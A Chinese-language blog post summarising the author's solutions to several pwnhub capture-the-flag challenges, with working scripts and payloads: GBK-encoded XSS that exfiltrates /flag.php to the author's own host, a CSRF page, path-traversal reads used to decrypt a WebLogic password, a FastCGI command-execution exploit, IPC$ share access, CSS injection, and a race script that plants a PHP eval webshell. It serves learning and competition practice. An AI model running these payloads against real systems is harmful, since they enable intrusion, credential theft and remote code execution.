Pwnhub知识总结

0x00 前言

pwnhub的题目出的都挺好,强烈推荐网址:https://pwnhub.cn/。 基本都没做到最后,复现了一下。记录学习到的知识

0x01 另一份文件

这题flag就在upload文件夹下。只是php的权限删不掉它。
Glob是按字母顺序排序的,上传比flag文件名靠后的文件名。这样就能通过是否上传成功来判断Flag的文件名。 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__author__ = 'angelwhu'
import requests
import string

def getz():
'''
str_printable = string.printable
print str_printable
'''
flagName = ''
str_my = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(100):
for s_my in str_my:
url = 'http://54.223.145.113:88/upload.php'
tmpName = flagName + s_my
#print tmpName
files = {'file': (tmpName, open('tmp.txt', 'rb'), 'text/plain', {'Expires': '0'})}
r = requests.post(url, files=files)
#print r.text

file_url = "http://54.223.145.113:88/upload/" + tmpName
resp = requests.get(file_url)
#print resp.text
if resp.status_code == 200 :
flagName = flagName + str_my[str_my.index(s_my) - 1]
print flagName
break

if __name__ == "__main__":
getz()

0x02 WTF (xss,csrf,csp)

1. 构造xss

找到漏洞点,文章发布哪里可以构造xss。 过滤了"<>'等特殊字符。看到网页编码时GBK,加深了对GBK字符集造成注入的认识。

1
%bf和\  一起会形成一个新的字符。这样就吞掉了一个\

这样的方式正好利用在这个题目:

  • \x3c,\x3e(16进制编码)形式代表<>。还可以用八进制\74\76
  • 由于转义\\\,所以需要吞掉一个\。正好利用GBK编码。

检测Payload为:

1
2
3
http://54.223.108.205:23333/new.php

title=123&content=123%bf\x3csvg/onload=alert(1); %bf\x3e&submit=submit

关键点:

  • js引号里面支持16进制和8进制表示字符
  • GBK字符编码可以吞掉一个反斜杠\

2. URL任意跳转

发现有个url任意跳转漏洞:

1
http://54.223.108.205:23333/login.php?redirecturl=http://www.angelwhu.com:8080/

测试在reportBug页面,发送给后台bot访问:

1
http://54.223.108.205:23333/login.php?redirecturl=http%3A%2f%2fwww.angelwhu.com%3A8080%2f

顺利接收到后台的访问,证明思路正确:

3. CSRF获取flag.php的内容

这里有两个限制:

  • phpsessionhttponly,无法打到cookie
  • 后台admin用户,不能访问其他人的文章。(这个有点奇妙)

对应的解决方案为:

  • 在xss中,使用ajax获取flag.php内容,传到服务器中。
  • 使用csrf,让admin用户自己发布一个带有xss的文章。然后访问之。(csrf)

(1) 本地获取flag.php内容

解决第一个问题:ajax读取文件,发送到服务器上:

1
<script src="js/jquery.min.js"></script><script>location.href="http://www.angelwhu.com:8080/"+escape($.ajax({url:'/flag.php',async:false}).responseText);</script>

遇到坑:

1
不能有空格~~

使用document.write来实现上述功能:

1
title=123jj&content=123%bf\x3cimg onerror=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,106,115,47,106,113,117,101,114,121,46,109,105,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62,60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,97,110,103,101,108,119,104,117,46,99,111,109,58,56,48,56,48,47,34,43,101,115,99,97,112,101,40,36,46,97,106,97,120,40,123,117,114,108,58,39,47,102,108,97,103,46,112,104,112,39,44,97,115,121,110,99,58,102,97,108,115,101,125,41,46,114,101,115,112,111,110,115,101,84,101,120,116,41,59,60,47,115,99,114,105,112,116,62)); src=a%bf\x3e&submit=submit

成功获取。

(2) csrf发文章

phpurldecode靠谱~ 用unescape不靠谱~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script src="jquery-3.1.1.min.js"></script>
<?php
$s = urldecode("123%bf%5Cx3cimg onerror=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,106,115,47,106,113,117,101,114,121,46,109,105,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62,60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,97,110,103,101,108,119,104,117,46,99,111,109,58,56,48,56,48,47,34,43,101,115,99,97,112,101,40,36,46,97,106,97,120,40,123,117,114,108,58,39,47,102,108,97,103,46,112,104,112,39,44,97,115,121,110,99,58,102,97,108,115,101,125,41,46,114,101,115,112,111,110,115,101,84,101,120,116,41,59,60,47,115,99,114,105,112,116,62)); src=a%bf%5Cx3e");
?>
</head>
<body>
<form id="firecms" action="http://54.223.108.205:23333/new.php" method="post" name="firecms" enctype="application/x-wwwform-urlencoded">
<input type="text" name="title" class="form-control" value="123">
<input type="text" name="content" id="content" class="form-control" value="<?php echo $s;?>">
</form>
<script>
//$('#content').val("123"+unescape("%bf%5C")+"x3cimg onerror=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,106,115,47,106,113,117,101,114,121,46,109,105,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62,60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,97,110,103,101,108,119,104,117,46,99,111,109,58,56,48,56,48,47,34,43,101,115,99,97,112,101,40,36,46,97,106,97,120,40,123,117,114,108,58,39,47,102,108,97,103,46,112,104,112,39,44,97,115,121,110,99,58,102,97,108,115,101,125,41,46,114,101,115,112,111,110,115,101,84,101,120,116,41,59,60,47,115,99,114,105,112,116,62)); src=a"+unescape("%bf%5C")+"x3e");

document.firecms.submit();
</script>
</body>
</html>

填写csrf的URL:

1
http://54.223.108.205:23333/login.php?redirecturl=http%3A%2f%2fwww.angelwhu.com%3A8080%2fcsrf.php

似乎不能有_,以及其他不知道的过滤。然后,发送文章的编号链接,到后台即可。 得到flag:

1
2
3
4
5
/
flag is here!
恭喜找到flag,不过作为出题人心里是崩溃的,我想说~~~~!@#$%^&*()_+{}|:"<>?~`-=[]\;'./\

pwnhub{flag:女孩的心思你别猜}

0x03 找呀找呀找朋友(实战综合)

1. 找到入口

将样本放到在线检测中,得到shell.pwnme.site域名。然后扫描子域名,得到:blog.pwnme.site

2. 文件任意下载漏洞

blog有个需要猜的/user_register。注册账号后,可以得到/file_download功能。这样就到了真正技术活的时候了。

3. 找到真实ip

由于使用了CDN,无法知道该域名的真实ip。 有两个思路:

  • 找个靠谱网站搜索历史ip记录
  • 存在文件任意读取漏洞,读读系统日志

最终在/proc/self/fd/4 里面读到日志信息: 找到54.223.115.219这个ip。

4. 破解Weblogic的密码

nmap扫描可以很容易得到有个weblogic服务,但是没有密码。weblogic是最新版,反序列化不成功。 首先,可以按照以下方式读到weblogic的PID和路径信息:

1
2
3
4
5
6
7
8
9
static/../../../../../../../proc/sched_debug
得到weblogic pid:

startWebLogic.s 6245 1494636.370148 6 120 0.479563 1.503671 1.247557 0 0 /user.slice
startWebLogic.s 6246 1494734.214582 70 120 0.057978 3.731774 20.004025 0 0 /user.slice

static/../../../../../../../proc/6246/cmdline 得到weblogic具体目录信息:

/bin/sh/u01/oracle/user_projects/domains/base_domain/bin/startWebLogic.sh

根据这篇文章http://bobao.360.cn/learning/detail/337.html,需要读取Weblogic的两个文件:SerializedSystemIni.datconfig.xml。 过程如下:

1
2
3
4
static/../../../../../../../u01/oracle/user_projects/domains/base_domain/config/config.xml  
得到密码加密为: {AES}0N0Z2hoc1/b/72xxMrai1uG48m4LA6iIskgeu7ZUWaFbAWWcwoDSZo0RL8ANnCKG

static/../../../../../../../u01/oracle/user_projects/domains/base_domain/security/SerializedSystemIni.dat

解密的代码在github上:https://github.com/NetSPI/WebLogicPasswordDecryptor。 尝试使用powershell执行脚本,先要设置:

1
2
set-executionpolicy remotesigned 
set-executionpolicy Bypass

运行提示没有aes模块:

1
2
3
Import-Module .\Invoke-WebLogicPasswordDecryptor.psm1

Invoke-WebLogicPasswordDecryptor -SerializedSystemIni E:\pentest\tools\WebLogicPasswordDecryptor-master\SerializedSystemIni.dat -CipherText "{AES}0N0Z2hoc1/b/72xxMrai1uG48m4LA6iIskgeu7ZUWaFbAWWcwoDSZo0RL8ANnCKG"

最后改用java执行:需要下载bcprov-jdk15on-155.jar,复制到JDK的lib/ext下。 修改lib/security/java.security文件,增加:

1
security.provider.11=org.bouncycastle.jce.provider.BouncyCastleProvider

用java解密成功:

1
2
E:\pentest\tools\WebLogicPasswordDecryptor-master>java WebLogicPasswordDecryptor "E:\pentest\tools\WebLogicPasswordDecryptor-master\SerializedSystemIni.dat" "{AES}0N0Z2hoc1/b/72xxMrai1uG48m4LA6iIskgeu7ZUWaFbAWWcwoDSZo0RL8ANnCKG"
a84cb51a0c33a4db

登录后,找地方上传war包,这里我最后还找了半天。war包里面放个大马即可。还要激活更改,并且启动webapp。 查看目录,找到flag。

0x04 迷(内网代理)

1. 信息泄露

更新扫描器的重要性~ README.md泄露了敏感信息。

1
2
3
4
5
6
7
8
Loli Club Proxy Server
=====

## Apply
发送邮件到 baka@loli.club 申请

## Usage
ssh proxy@54.223.142.7

存在弱密码:proxy

2. 代理内网

ssh socks5 代理:

1
ssh -qTfnN -D 8888 -p 22  proxy@54.223.142.7

测试下:

1
proxychains curl http://127.0.0.1/

经过测试,需要在一个终端内完成~ 之后代理,都用后台运行 nmap扫本地端口(代理不成功不知道原因):

1
proxychains nmap -A -vvv 127.0.0.1

3. fastcgi 命令执行

fastcgi的9000端口漏洞利用:

  • 找到一个php文件:

在虚拟机里面执行命令:

1
find / -name *.php

随便找一个php文件即可。 这里使用/usr/share/php/OS/Guess.php

  • 执行ls /命令:

生成Payload,然后nc过去:

1
2
3
./fcgi_exp system 127.0.0.1 1234 /usr/share/php/OS/Guess.php "ls -al /"  

nc -lvvv 1234 > payload_ls.txt

把Payload传到kali代理中:

1
proxychains nc 127.0.0.1 9000 < payload_ls.txt


0x05 深入敌后(内网渗透)

这个题目真是溜~ kali中的msf终于用上了

1. 扫描器的重要性

用御剑扫描目录,可以发现/file目录。接着在/file目录下扫描,发现login.html/.hg/源码泄露。
https://github.com/kost/dvcs-ripper来获取源码。

2. IIS+Windows+php 绕过黑名单

Cuit2015有这样的绕过例子:
使用NTFS流的方式

1
1.php::$DATA

绕过黑名单,上传shell。根据源码可以知道上传位置。 shell上传在:http://54.223.229.139/file/users_file_system/angelwhutest123456/ecdeb33b306151aed0585301e5330660.php

3. 信息收集

提示信息为:

1
2
3
2017.01.15 11:50:00administrator:啊,好烦啊,需要设置那么多密码,偷懒好了,妈蛋,windows为啥还有密码策略。
2017.01.15 00:50:00因为一些未知问题,服务器桌面上新放了一个文件,可能就是你要找的。
2017.01.14 09:45:00入口服务器的用户名是瞎写的,不要在意(还有禁止对内网进行拓扑发现扫描,必要信息全部可以在服务器中获得

桌面上找到一个密码文件,ie-password.txt:

1
2
3
4
5
6
7
8
==================================================
Entry Name : https://www.baidu.com/
Type : AutoComplete
Stored In : Registry
User Name : iamroot
Password : abc@elk
Password Strength : Medium
==================================================

翻找软件,发现有xshell。找Administrator用户存储信息的地方:

1
C:/Users/Administrator/Documents/NetSarang/Xshell/Sessions/

发现有172.31.5.95.xsh,里面记录有用户名ubuntu

4. msf内网渗透

通过aliyun中转,连接msf

连接虚拟机Kali和目标主机。 https://www.angelwhu.com/blog/?p=309 成功连接了msf。

登陆172.31.5.95内网主机

将172.31.5.95的端口转发出来。真是神奇,直接使用msf:

1
portfwd add -L 127.0.0.1 -l 12335 -r 172.31.5.95 -p 22

直接将端口转发到本地kali主机了。新开个terminal:

1
ssh ubuntu@127.0.0.1 -p 12335

密码为abc@elk,成功登陆~

172.31.5.95主机信息收集

该主机具有root权限:

1
2
3
4
5
6
ubuntu@ip-172-31-5-95:/$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
ubuntu@ip-172-31-5-95:/$ sudo -i
root@ip-172-31-5-95:~# ls
root@ip-172-31-5-95:~# id
uid=0(root) gid=0(root) groups=0(root)

last命令看到一个登陆ip地址:

1
2
ubuntu@ip-172-31-5-95:/$ last
ubuntu pts/1 172.31.13.133 Thu Jan 12 08:29 - 08:30 (00:00)

172.31.13.133主机IPC漏洞

使用入口windows主机(54.223.229.139)里面安装好的Nmap扫描一下172.31.13.133机器:

1
2
3
4
5
6
7
8
9
10
11
12
C:\Program Files (x86)\Nmap>nmap.exe -v -A 172.31.13.133

Host is up (0.00s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
MAC Address: 06:03:2F:2F:98:EA (Unknown)

根据提示:

1
2017.01.15 11:50:00administrator:啊,好烦啊,需要设置那么多密码,偷懒好了,妈蛋,windows为啥还有密码策略。

密码策略为https://msdn.microsoft.com/zh-cn/library/cc786468(v=ws.10).aspx

1
2
3
4
5
6
7
8
9
10
11
12
13
不得明显包含用户帐户名或用户全名的一部分

长度至少为六个字符

包含来自以下四个类别中的三个的字符:

英文大写字母(从 A 到 Z)

英文小写字母(从 a 到 z)

10 个基本数字(从 09

非字母字符(例如,!、$、#、%)

猜测密码为abc@ELF~ 139/135/445端口,说明是windows,可以IPC$攻击。 参考http://www.voidcn.com/blog/Ice_15/article/p-1890468.html

1
2
3
4
5
net use \\172.31.13.133\ipc$ "abc@ELK" /user:"administrator"  

C:\Program Files (x86)\Nmap>net use \\172.31.13.133\ipc$ "abc@ELK" /user:"administrator"
net use \\172.31.13.133\ipc$ "abc@ELK" /user:"administrator"
The command completed successfully.

映射目标C盘到本地Z盘:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\Program Files (x86)\Nmap>net use z: \\172.31.13.133\c$    
net use z: \\172.31.13.133\c$
The command completed successfully.
C:\Program Files (x86)\Nmap>dir z:
dir z:
Volume in drive Z has no label.
Volume Serial Number is B2D4-D0F2

Directory of Z:\

15/01/2017 13:49 8 crishere
14/07/2009 03:20 <DIR> PerfLogs
20/06/2014 23:27 <DIR> Program Files
22/11/2016 01:17 <DIR> Program Files (x86)
22/11/2016 02:18 <DIR> Users
16/01/2017 15:08 <DIR> Windows
1 File(s) 8 bytes
5 Dir(s) 2,671,726,592 bytes free

C:\Program Files (x86)\Nmap>

搜索z盘文件:for /r z: %i in (*flag*) do @echo %i

1
2
3
4
C:\inetpub\wwwroot\file\users_file_system\angelwhutest123456>for /r z: %i in (*flag*) do @echo %i
for /r z: %i in (*flag*) do @echo %i
z:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\flag.txt
z:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk

得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
C:\inetpub\wwwroot\file\users_file_system\angelwhutest123456>cd z:\
cd z:\

C:\inetpub\wwwroot\file\users_file_system\angelwhutest123456>z:
z:

z:\>cd z:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\
cd z:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\

z:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5>type flag.txt
type flag.txt
pwnhub{flag:y0u f0und my h3art}

0x06 打开电脑(css injection)

题目介绍

1
2
3
4
5
6
7
8
9
平均评分4.3
给个评价
详情

http://52.80.1.108:6666
更新

2017.02.18 20:00:00没有SQL注入,仔细看CSP头。
2017.02.18 12:00:00管理员只爱看有意思的东西,谁关心bug啊哈哈哈哈。

1. unsafe port

对于chrome访问的端口,以下都会显示unsafe port,禁止访问:

1
2
3
4
5
6
..........  
6665, // Alternate IRC [Apple addition]
6666, // Alternate IRC [Apple addition]
6667, // Standard IRC [Apple addition]
6668, // Alternate IRC [Apple addition]
6669, // Alternate IRC [Apple addition]

使用firefox访问6666端口。

2. css 注入攻击

查看csp头:

1
2
3
4
5
6
Content-Security-Policy: default-src *; 
img-src * data: blob:;
frame-src 'self';
script-src 'self' cdn.bootcss.com 'unsafe-eval';
style-src 'self' cdn.bootcss.com 'unsafe-inline';
connect-src * wss:;

关键:这里不一定要xss获取cookie~~ 有个img-src的策略有点广泛:

1
img-src * data: blob:;

查看XSS Filter Evasion Cheat Sheet。找到这个:

1
2
DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

观察前台显示:

1
<a id="modal" class="detail" href="#detail" data-toggle="modal" contributor=aaangelwhu  style=background-image:url(http://121.42.175.111:8080) hexdata=672e65613167722e333170366572657265726572657265>fffffffffffe53cdbc640fffb934cfb8</a>

contributor处,没有引号,直接插入sytle:

1
2
style=background-image:url(http://121.42.175.111:8080)  
<a id="modal" class="detail" href="#detail" data-toggle="modal" contributor=aaangelwhu style=background-image:url(http://121.42.175.111:8080) hexdata=672e65613167722e333170366572657265726572657265>fffffffffffe53cdbc640fffb934cfb8</a>

测试不能执行js脚本。看能不能访问外网:

1
nc -lvvv 8080

测试通过,可以得到访问的信息。 在contact功能处,填写如下Payload测试:

1
2
3
4
ddd  style=background-image:url(http://121.42.175.111:8080)
fffffffffffffffff
qqqqqqqqq
11111111

得到访问信息,竟然并不需要cookie: 接下来就是访问后台http://52.80.1.108:6666/d04ea1a0f534f6e70c00dae30ba0af9f/admin.php了~

3. 访问后台

访问得到是404,加上X-forwarded-for:127.0.0.1,要猜到flag.php,得到flag:

4. 总结

学习到的知识:

  • 仔细看csp,如何bypass~
  • css 样式注入
  • 能够访问外网,可以得到有用的信息~ (nc -lvvv port)

0x07 another php

这个题目,有web和pwn部分。最后需要竞争上传脚本,最后也木有成功~总结下知识点。

1. php源码泄露

记录下几个,以后补充:

1
2
3
4
5
index.php~
.index.php.swp
.index.php.swo
index.php.txt
index.php.bak

目录方面的源码泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/robots.txt
/.hg
/.svn
/.git
/.bzr
/.sublime-project
/.sublime-workspace
/.DS_Store
/sftp-settings.json
/venv
/Thumbs.db
/CVS
/_darcs
README.md
README
readme
readme.md
Readme
Readme.md

后面是一个svn泄露,查看wc.db文件得到一个用户名。还需要有个爆破md5的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
import crypt, getpass, pwd
import string
import hashlib

def md5(src):
m2 = hashlib.md5()
m2.update(src)
return m2.hexdigest()

def crack(deep,pw):
if deep == 0:
return;
for c in string.printable:
crack(deep-1,pw + c)

passwd = pw + c
crypted = md5(passwd)
if crypted[0:6] == sys.argv[1]:
print passwd
print crypted
print crypted[0:6]
print "success"
exit()
if __name__ == '__main__':
crack(4,"")

2. wget 低版本重定向漏洞(CVE-2016-4971) 与条件竞争

详情请看 http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt。 本来服务器严格过滤了文件名为pwnhub.jpg,通过这个漏洞,就可以将文件名改为任意名称了。 附上我参考wp也没有成功的竞争脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding:utf-8 -*-

import requests

import threading
from random import Random

url = "http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/a9b4d7cc810da015142f61f7e236d50b.php"

def random_str(randomlength=8):
str = ''
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
length = len(chars)
random = Random()
for i in range(randomlength):
str+=chars[random.randint(0, length)]
return str


def put_session(cookies):
headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Cookie": "PHPSESSID="+cookies,
"Connection": "keep-alive"}
datas = {"image": "http://******/pwnhub.png"}
r = requests.post(url, headers=headers, data=datas)
print r.content


def get_eval(cookies):
headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Cookie": "PHPSESSID="+cookies,
"Connection": "keep-alive"}
data_eval = {
"pwnhub": "ZnB1dHMoZm9wZW4oJy92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UvYW5nZWxzaGVsbC5waHAnLCJ3IiksJzw/cGhwIGV2YWwoJF9QT1NUW1wnY2hvcHBlcjEyM1wnXSk7Pz4nKTs="}
r = requests.post(url + "?pwnhub=firesun", headers=headers, data=data_eval)
print r.content
if not (r.content == "no image:("):
print r.content
exit()


for i in range(0,300):
cookies = random_str(26)
threading.Thread(target=put_session,args = (cookies,)).start()
threading.Thread(target=get_eval,args = (cookies,)).start()

0x08 大物必须过

知识点:RPO http://blog.innerht.ml/rpo-gadgets/ payload:

1
2
提交url: http://52.80.19.55/user.php/427/..%2f..%2fclasses.php/1/1
vow: {}*{background-image:url(http://121.42.175.111:8080)}

解释: 多个{},是使其能够正确解析成css语法。最好加上%0a换行。 原理:利用服务器解析地址和浏览器不一样来攻击

1
2
3
..%2f..%2fclasses.php
对于服务器: ../../classes.php
对于浏览器: ..%2f..%2fclasses.php(一个php文件)

浏览器在寻找../../classes.css时,便访问:

1
http://52.80.19.55/user.php/427/classes.css,将其当做css文件解析。

0x09 总结

未完待续~~

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2017/03/13/pwnhub-knowledge-summary/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog